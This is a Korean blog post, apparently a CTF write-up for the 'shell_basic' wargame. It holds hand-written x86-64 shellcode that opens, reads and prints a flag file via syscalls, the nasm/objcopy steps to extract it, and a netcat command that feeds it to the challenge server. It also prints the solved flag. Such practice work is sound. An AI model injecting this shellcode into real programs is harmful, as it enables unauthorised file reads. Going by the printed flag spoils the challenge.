[시스템 해킹] wargame - shell_basic

zzoni·2022년 7월 21일
0

시스템해킹

목록 보기
5/15
  1. 문제를 다운받아 컴파일 후 실행시켜보면 shellcode를 입력받음
  2. 문제 설명에서 제공하는 코드 활용
  • 어셈블리 코드 파일을 작성하고
  • objcopy를 이용하여 shellcode를 추출한다
  • cat write.bin | ./shell_basic 코드를 이용하면 shellcode에 내가 작성한 코드 넣을 수 있더라!
  1. shellcode 작성

    의사코드

    fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)
    read(fd, buf, size)
    write(1, buf, size)
; open
push 0x00
mov rax, 0x676E6F6F6F6F6F6F ; oooooong
push rax
mov rax, 0x6C5F73695F656D61 ; ame_is_l
push rax
mov rax, 0x6E5F67616C662F63 ; c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ; ell_basi
push rax
mov rax, 0x68732f656d6f682f ; /home/sh
push rax
mov rdi, rsp ; 첫 번째 인자
xor rsi, rsi ; 두 번째 인자
xor rdx, rdx ; 세 번째 인자
mov rax, 0x02 ; syscall 값
syscall
; read
mov rdi, rax ; 첫 번째 인자 (rax에 open 반환값)
xor rsi, rsp ; 두 번째 인자
sub rsp, 0x30
mov rdx, 0x30 ; 세 번째 인자
mov rax, 0x00 ; syscall 값
syscall
; write
mov rdi, 0x01 ; 첫번째 인자
mov rax, 0x01 ; syscall 값
syscall
; 정리
xor rdi, rdi
mov rax, 0x3c
syscall




4. shell code 추출

nasm -f elf64 write.asm
objcopy --dump-section .text=write.bin write.o
  1. 파일 연결
    cat write.bin | nc [HOST] [PORT]
  1. 결과
shellcode: 
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
profile
모든 게시물은 다크모드에서 작성되었습니다!

0개의 댓글